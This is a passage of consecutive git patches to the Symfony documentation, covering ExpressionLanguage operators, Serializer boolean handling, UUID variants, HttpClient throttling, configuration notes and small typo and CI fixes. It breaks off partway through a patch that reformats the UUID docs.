Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; From ca016d741a7f58f31e3bbe3b141fcc94f78ea2b8 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 26 Mar 2024 15:02:17 +0100 Subject: [PATCH 076/615] [ExpressionLanguage] Update the docs about the null-coalescing operator --- components/expression_language.rst | 15 +++-------- reference/formats/expression_language.rst | 33 +++++++++++++++++++++++ 2 files changed, 36 insertions(+), 12 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index b75c3d13c34..f622326944e 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -80,19 +80,10 @@ The main class of the component is Null Coalescing Operator ........................ -This is the same as the PHP `null-coalescing operator`_, which combines -the ternary operator and ``isset()``. It returns the left hand-side if it exists -and it's not ``null``; otherwise it returns the right hand-side. Note that you -can chain multiple coalescing operators. - -* ``foo ?? 'no'`` -* ``foo.baz ?? 'no'`` -* ``foo[3] ?? 'no'`` -* ``foo.baz ?? foo['baz'] ?? 'no'`` - -.. versionadded:: 6.2 +.. note:: - The null-coalescing operator was introduced in Symfony 6.2. + This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>` + section of ExpressionLanguage syntax reference page. Parsing and Linting Expressions ............................... diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index af03b6a07d1..370dbfd6f00 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -99,6 +99,8 @@ JavaScript:: This will print out ``Hi Hi Hi!``. +.. _component-expression-null-safe-operator: + Null-safe Operator .................. @@ -118,6 +120,29 @@ operator):: The null safe operator was introduced in Symfony 6.1. +.. _component-expression-null-coalescing-operator: + +Null-Coalescing Operator +........................ + +It returns the left-hand side if it exists and it's not ``null``; otherwise it +returns the right-hand side. Expressions can chain multiple coalescing operators: + +* ``foo ?? 'no'`` +* ``foo.baz ?? 'no'`` +* ``foo[3] ?? 'no'`` +* ``foo.baz ?? foo['baz'] ?? 'no'`` + +.. note:: + + The main difference with the `null-coalescing operator in PHP`_ is that + ExpressionLanguage will throw an exception when trying to access a + non-existent variable. + +.. versionadded:: 6.2 + + The null-coalescing operator was introduced in Symfony 6.2. + .. _component-expression-functions: Working with Functions @@ -391,6 +416,12 @@ Ternary Operators * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``) * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``) +Other Operators +~~~~~~~~~~~~~~~ + +* ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`) +* ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`) + Built-in Objects and Variables ------------------------------ @@ -401,3 +432,5 @@ expressions (e.g. the request, the current user, etc.): * :doc:`Variables available in security expressions </security/expressions>`; * :doc:`Variables available in service container expressions </service_container/expression_language>`; * :ref:`Variables available in routing expressions <routing-matching-expressions>`. + +.. _`null-coalescing operator in PHP`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce From faf261594c7a43b6e4cf81594c79f375e9821594 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Wed, 3 Apr 2024 11:23:24 +0200 Subject: [PATCH 077/615] [Configuration] Clarify `variables_order` --- configuration.rst | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/configuration.rst b/configuration.rst index 88f12876594..abd7dba9d96 100644 --- a/configuration.rst +++ b/configuration.rst @@ -874,9 +874,10 @@ the right situation: but the overrides only apply to one environment. *Real* environment variables always win over env vars created by any of the -``.env`` files. This behavior depends on -`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to -contain an ``E`` to expose the ``$_ENV`` superglobal. +``.env`` files. Note that this behavior depends on the +`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ +configuration, which must contain an ``E`` to expose the ``$_ENV`` superglobal. +This is the default configuration in PHP. The ``.env`` and ``.env.<environment>`` files should be committed to the repository because they are the same for all developers and machines. However, From dc57552a4f14eb3d87806b23140f1a10ea1e3f3d Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Thu, 28 Mar 2024 10:43:54 +0100 Subject: [PATCH 078/615] [Serializer] Mention `AbstractNormalizer::FILTER_BOOL` --- components/serializer.rst | 37 +++++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index 3bda0b0cf4f..a28464ffc04 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -700,8 +700,13 @@ deserializing objects:: $serialized = $serializer->serialize(new Person('Kévin'), 'json'); // {"customer_name": "Kévin"} -Serializing Boolean Attributes ------------------------------- +.. _serializing-boolean-attributes: + +Handling Boolean Attributes And Values +-------------------------------------- + +During Serialization +~~~~~~~~~~~~~~~~~~~~ If you are using isser methods (methods prefixed by ``is``, like ``App\Model\Person::isSportsperson()``), the Serializer component will @@ -710,6 +715,34 @@ automatically detect and use it to serialize related attributes. The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``, and ``can``. +During Deserialization +~~~~~~~~~~~~~~~~~~~~~~ + +PHP considers many different values as true or false. For example, the +strings ``true``, ``1``, and ``yes`` are considered true, while +``false``, ``0``, and ``no`` are considered false. + +When deserializing, the Serializer component can take care of this +automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL`` +context option:: + + use Acme\Person; + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + $normalizer = new ObjectNormalizer(); + $serializer = new Serializer([$normalizer]); + + $data = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [AbstractNormalizer::FILTER_BOOL => true]); + +This context makes the deserialization process behave like the +:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag. + +.. versionadded:: 7.1 + + The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1. + Using Callbacks to Serialize Properties with Object Instances ------------------------------------------------------------- From 658edffc2a27aabb00070ee4c001e8d69bebc4f4 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 26 Mar 2024 13:18:04 +0100 Subject: [PATCH 079/615] [Uid] Expand the explanation about the different UUID variants --- components/uid.rst | 140 ++++++++++++++++++++++++++++++++------------- 1 file changed, 100 insertions(+), 40 deletions(-) diff --git a/components/uid.rst b/components/uid.rst index 6ae9e0f504c..a2833a10d61 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -27,48 +27,108 @@ Generating UUIDs ~~~~~~~~~~~~~~~~ Use the named constructors of the ``Uuid`` class or any of the specific classes -to create each type of UUID:: +to create each type of UUID: - use Symfony\Component\Uid\Uuid; +**UUID v1** (time-based) + Generates the UUID using a timestamp and the MAC address of your device + (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__). + Both are obtained automatically, so you don't have to pass any constructor argument:: + + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV1 + $uuid = Uuid::v1(); + + .. tip:: + + It's recommended to use UUIDv7 instead of UUIDv1 because it provides + better entropy. + +**UUID v2** (DCE security) + Similar to UUIDv1 but with a very high likelihood of ID collision + (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__). + It's part of the authentication mechanism of DCE (Distributed Computing Environment) + and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it. + This UUID variant is **not implemented** by the Uid component. + +**UUID v3** (name-based, MD5) + Generates UUIDs from names that belong, and are unique within, some given namespace + (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__). + This variant is useful to generate deterministic UUIDs from arbitrary strings. + It works by populating the UUID contents with the``md5`` hash of concatenating + the namespace and the name:: + + use Symfony\Component\Uid\Uuid; + + // you can use any of the predefined namespaces... + $namespace = Uuid::fromString(Uuid::NAMESPACE_OID); + // ...or use a random namespace: + // $namespace = Uuid::v4(); + + // $name can be any arbitrary string + // $uuid is an instance of Symfony\Component\Uid\UuidV3 + $uuid = Uuid::v3($namespace, $name); + + These are the default namespaces defined by the standard: + + * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__ + * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__ + * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__ + * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__ + +**UUID v4** (random) + Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__). + Because of its randomness, it ensures uniqueness across distributed systems + without the need for a central coordinating entity. It's privacy-friendly + because it doesn't contain any information about where and when it was generated:: + + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV4 + $uuid = Uuid::v4(); + +**UUID v5** (name-based, SHA-1) + It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of + ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__). + This makes it more secure and less prone to hash collisions. + +**UUID v6** (reordered time-based) + It rearranges the time-based fields of the UUIDv1 to make it lexicographically + sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing + (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__):: + + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV6 + $uuid = Uuid::v6(); + + .. tip:: + + It's recommended to use UUIDv7 instead of UUIDv6 because it provides + better entropy. + +**UUID v7** (UNIX timestamp) + Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp + source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded) + (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__). + It's recommended to use this version over UUIDv1 and UUIDv6 because it provides + better entropy (and a more strict chronological order of UUID generation):: + + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV7 + $uuid = Uuid::v7(); + +**UUID v8** (custom) + Provides an RFC-compatible format for experimental or vendor-specific use cases + (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__). + The only requirement is to set the variant and version bits of the UUID. The rest + of the UUID value is specific to each implementation and no format should be assumed:: + + use Symfony\Component\Uid\Uuid; - // UUID type 1 generates the UUID using the MAC address of your device and a timestamp. - // Both are obtained automatically, so you don't have to pass any constructor argument. - $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1 - - // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument. - $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4 - - // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses - // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID) - // and the name is an arbitrary string (e.g. a product name; if it's unique). - $namespace = Uuid::v4(); - $name = $product->getUniqueName(); - - $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3 - $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5 - - // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C) - // are available as PHP constants and as string values - $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name); // same as: Uuid::v3('dns', $name); - $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name); // same as: Uuid::v3('url', $name); - $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name); // same as: Uuid::v3('oid', $name); - $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name); - - // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable - // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits. - // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6 - $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6 - - // UUID version 7 features a time-ordered value field derived from the well known - // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded. - // As well as improved entropy characteristics over versions 1 or 6. - $uuid = Uuid::v7(); - - // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases. - // The only requirement is that the variant and version bits MUST be set as defined in Section 4: - // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields - // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed. - $uuid = Uuid::v8(); + // $uuid is an instance of Symfony\Component\Uid\UuidV8 + $uuid = Uuid::v8(); .. versionadded:: 6.2 From 5abfb8e3641ecf2f4965fdd12213d1a5efa5dbf9 Mon Sep 17 00:00:00 2001 From: Bram de Smidt <Bramw2003@users.noreply.github.com> Date: Wed, 3 Apr 2024 14:36:54 +0200 Subject: [PATCH 080/615] fix: typo in proxy docs --- deployment/proxies.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment/proxies.rst b/deployment/proxies.rst index 82ea4dcffab..dcef631648f 100644 --- a/deployment/proxies.rst +++ b/deployment/proxies.rst @@ -156,7 +156,7 @@ subpath/subfolder of the reverse proxy. To fix this, you need to pass the subpath/subfolder route prefix of the reverse proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can normally be configured in your reverse proxy configuration. Configure -``X-Forwared-Prefix`` as trusted header to be able to use this feature. +``X-Forwarded-Prefix`` as trusted header to be able to use this feature. The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is used to generate absolute paths and URLs in Symfony applications. From e96680c413ec6c295b565d614adb47cd8d47cf92 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 3 Apr 2024 16:23:38 +0200 Subject: [PATCH 081/615] minor --- deployment/proxies.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment/proxies.rst b/deployment/proxies.rst index 0fdb3fd9350..3d5bab95474 100644 --- a/deployment/proxies.rst +++ b/deployment/proxies.rst @@ -169,7 +169,7 @@ subpath/subfolder of the reverse proxy. To fix this, you need to pass the subpath/subfolder route prefix of the reverse proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can normally be configured in your reverse proxy configuration. Configure -``X-Forwared-Prefix`` as trusted header to be able to use this feature. +``X-Forwarded-Prefix`` as trusted header to be able to use this feature. The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is used to generate absolute paths and URLs in Symfony applications. From 3887d883b8ae741f8353493d9af79a001819953f Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Wed, 3 Apr 2024 22:08:14 +0200 Subject: [PATCH 082/615] Use Doctor RST 1.59.0 --- .doctor-rst.yaml | 1 + .github/workflows/ci.yaml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 6e7b6e044cb..f8b4ba96a91 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -12,6 +12,7 @@ rules: correct_code_block_directive_based_on_the_content: ~ deprecated_directive_should_have_version: ~ ensure_bash_prompt_before_composer_command: ~ + ensure_correct_format_for_phpfunction: ~ ensure_exactly_one_space_before_directive_type: ~ ensure_exactly_one_space_between_link_definition_and_link: ~ ensure_github_directive_start_with_prefix: diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index e93f8295b65..50524a74310 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.57.1 + uses: docker://oskarstark/doctor-rst:1.59.0 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From f68defc1f4307b61fca1e756983c6a4a06e2543e Mon Sep 17 00:00:00 2001 From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com> Date: Wed, 3 Apr 2024 22:43:01 +0200 Subject: [PATCH 083/615] [FrameworkBundle] Remove mention of inexistant `ignore_cache` option Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com> --- reference/configuration/framework.rst | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 5a7a5684fbc..57693ff0b1d 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1514,15 +1514,7 @@ The directory where routing information will be cached. Can be set to .. deprecated:: 7.1 Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes - are now always cached in the ``%kernel.build_dir%`` directory. If you want - to disable route caching, set the ``ignore_cache`` option to ``true``. - -ignore_cache -............ - -**type**: ``boolean`` **default**: ``false`` - -When this option is set to ``true``, routing information will not be cached. + are now always cached in the ``%kernel.build_dir%`` directory. secrets ~~~~~~~ From 4e82adba79c82e9b65bb7b86e21b19bc3075f18b Mon Sep 17 00:00:00 2001 From: Yonel Ceruto <yonel.ceruto@scnd.com> Date: Wed, 3 Apr 2024 19:23:02 -0400 Subject: [PATCH 084/615] Discourage append config on prepend extension method --- bundles/prepend_extension.rst | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst index fcad249124e..afde2595e98 100644 --- a/bundles/prepend_extension.rst +++ b/bundles/prepend_extension.rst @@ -158,7 +158,7 @@ Prepending Extension in the Bundle Class The ``AbstractBundle`` class was introduced in Symfony 6.1. -You can also append or prepend extension configuration directly in your +You can also prepend extension configuration directly in your Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` method:: @@ -175,14 +175,6 @@ method:: $containerBuilder->prependExtensionConfig('framework', [ 'cache' => ['prefix_seed' => 'foo/bar'], ]); - - // append - $containerConfigurator->extension('framework', [ - 'cache' => ['prefix_seed' => 'foo/bar'], - ]); - - // append from file - $containerConfigurator->import('../config/packages/cache.php'); } } From 265a69ccae8e8250255cf596bc42c357f77b4cfc Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Tue, 2 Apr 2024 20:52:04 +0200 Subject: [PATCH 085/615] [FrameworkBundle][HttpClient] Add ThrottlingHttpClient --- http_client.rst | 34 +++++++++++++++++++++++++++ reference/configuration/framework.rst | 14 +++++++++++ 2 files changed, 48 insertions(+) diff --git a/http_client.rst b/http_client.rst index 1966dfba064..3a649f452fd 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1474,6 +1474,40 @@ installed in your application:: :class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`. +Limit the Number of Requests +---------------------------- + +This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` +decorator that allows to limit the number of requests within a certain period. + +The implementation leverages the +:class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood +so that the :doc:`Rate Limiter component </rate_limiter>` needs to be +installed in your application:: + + use Symfony\Component\HttpClient\HttpClient; + use Symfony\Component\HttpClient\ThrottlingHttpClient; + use Symfony\Component\RateLimiter\LimiterInterface; + + $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface + $client = HttpClient::create(); + $client = new ThrottlingHttpClient($client, $rateLimiter); + + $requests = []; + for ($i = 0; $i < 100; $i++) { + $requests[] = $client->request('GET', 'https://example.com'); + } + + foreach ($requests as $request) { + // Depending on rate limiting policy, calls will be delayed + $output->writeln($request->getContent()); + } + +.. versionadded:: 7.1 + + The :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` was + introduced in Symfony 7.1. + Consuming Server-Sent Events ---------------------------- diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 5a7a5684fbc..d61f94007a8 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1174,6 +1174,20 @@ query An associative array of the query string values added to the URL before making the request. This value must use the format ``['parameter-name' => parameter-value, ...]``. +rate_limiter +............ + +**type**: ``string`` + +This option limit the number of requests within a certain period thanks +to the :doc:`Rate Limiter component </rate_limiter>`. + +The rate limiter service ID you want to use. + +.. versionadded:: 7.1 + + The ``rate_limiter`` option was introduced in Symfony 7.1. + resolve ....... From d49c1d71b885817d240828b22c55d1ab6c19a106 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 4 Apr 2024 10:04:30 +0200 Subject: [PATCH 086/615] Minor reword --- reference/configuration/framework.rst | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index d61f94007a8..e8db5e27eb6 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1179,10 +1179,9 @@ rate_limiter **type**: ``string`` -This option limit the number of requests within a certain period thanks -to the :doc:`Rate Limiter component </rate_limiter>`. - -The rate limiter service ID you want to use. +The service ID of the rate limiter used to limit the number of HTTP requests +within a certain period. The service must implement the +:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`. .. versionadded:: 7.1 From c41f6c6e74925a895a016246aa3148cd51d64ad4 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 4 Apr 2024 10:06:22 +0200 Subject: [PATCH 087/615] Minor grammar fix --- http_client.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http_client.rst b/http_client.rst index 3a649f452fd..c7c80ca57f3 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1482,7 +1482,7 @@ decorator that allows to limit the number of requests within a certain period. The implementation leverages the :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood -so that the :doc:`Rate Limiter component </rate_limiter>` needs to be +so the :doc:`Rate Limiter component </rate_limiter>` needs to be installed in your application:: use Symfony\Component\HttpClient\HttpClient; From b3492fba6fb350831903c4862589109629de402d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 4 Apr 2024 10:49:18 +0200 Subject: [PATCH 088/615] Fix a syntax issue --- components/expression_language.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index f622326944e..8092ce491ed 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -82,7 +82,7 @@ Null Coalescing Operator .. note:: - This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>` + This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_ section of ExpressionLanguage syntax reference page. Parsing and Linting Expressions From 88cf04fa4a42cb6a9a9e32c317605adb590f364f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 4 Apr 2024 11:01:27 +0200 Subject: [PATCH 089/615] [Uid] Update some RST syntax --- components/uid.rst | 140 ++++++++++++++++++++++++--------------------- 1 file changed, 74 insertions(+), 66 deletions(-) diff --git a/components/uid.rst b/components/uid.rst index a2833a10d61..e64eabee0fb 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -30,105 +30,113 @@ Use the named constructors of the ``Uuid`` class or any of the specific classes to create each type of UUID: **UUID v1** (time-based) - Generates the UUID using a timestamp and the MAC address of your device - (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__). - Both are obtained automatically, so you don't have to pass any constructor argument:: - use Symfony\Component\Uid\Uuid; +Generates the UUID using a timestamp and the MAC address of your device +(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__). +Both are obtained automatically, so you don't have to pass any constructor argument:: - // $uuid is an instance of Symfony\Component\Uid\UuidV1 - $uuid = Uuid::v1(); + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV1 + $uuid = Uuid::v1(); - .. tip:: +.. tip:: - It's recommended to use UUIDv7 instead of UUIDv1 because it provides - better entropy. + It's recommended to use UUIDv7 instead of UUIDv1 because it provides + better entropy. **UUID v2** (DCE security) - Similar to UUIDv1 but with a very high likelihood of ID collision - (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__). - It's part of the authentication mechanism of DCE (Distributed Computing Environment) - and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it. - This UUID variant is **not implemented** by the Uid component. + +Similar to UUIDv1 but with a very high likelihood of ID collision +(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__). +It's part of the authentication mechanism of DCE (Distributed Computing Environment) +and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it. +This UUID variant is **not implemented** by the Uid component. **UUID v3** (name-based, MD5) - Generates UUIDs from names that belong, and are unique within, some given namespace - (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__). - This variant is useful to generate deterministic UUIDs from arbitrary strings. - It works by populating the UUID contents with the``md5`` hash of concatenating - the namespace and the name:: - use Symfony\Component\Uid\Uuid; +Generates UUIDs from names that belong, and are unique within, some given namespace +(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__). +This variant is useful to generate deterministic UUIDs from arbitrary strings. +It works by populating the UUID contents with the``md5`` hash of concatenating +the namespace and the name:: - // you can use any of the predefined namespaces... - $namespace = Uuid::fromString(Uuid::NAMESPACE_OID); - // ...or use a random namespace: - // $namespace = Uuid::v4(); + use Symfony\Component\Uid\Uuid; + + // you can use any of the predefined namespaces... + $namespace = Uuid::fromString(Uuid::NAMESPACE_OID); + // ...or use a random namespace: + // $namespace = Uuid::v4(); - // $name can be any arbitrary string - // $uuid is an instance of Symfony\Component\Uid\UuidV3 - $uuid = Uuid::v3($namespace, $name); + // $name can be any arbitrary string + // $uuid is an instance of Symfony\Component\Uid\UuidV3 + $uuid = Uuid::v3($namespace, $name); - These are the default namespaces defined by the standard: +These are the default namespaces defined by the standard: - * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__ - * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__ - * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__ - * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__ +* ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__ +* ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__ +* ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__ +* ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__ **UUID v4** (random) - Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__). - Because of its randomness, it ensures uniqueness across distributed systems - without the need for a central coordinating entity. It's privacy-friendly - because it doesn't contain any information about where and when it was generated:: - use Symfony\Component\Uid\Uuid; +Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__). +Because of its randomness, it ensures uniqueness across distributed systems +without the need for a central coordinating entity. It's privacy-friendly +because it doesn't contain any information about where and when it was generated:: + + use Symfony\Component\Uid\Uuid; - // $uuid is an instance of Symfony\Component\Uid\UuidV4 - $uuid = Uuid::v4(); + // $uuid is an instance of Symfony\Component\Uid\UuidV4 + $uuid = Uuid::v4(); **UUID v5** (name-based, SHA-1) - It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of - ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__). - This makes it more secure and less prone to hash collisions. + +It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of +``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__). +This makes it more secure and less prone to hash collisions. **UUID v6** (reordered time-based) - It rearranges the time-based fields of the UUIDv1 to make it lexicographically - 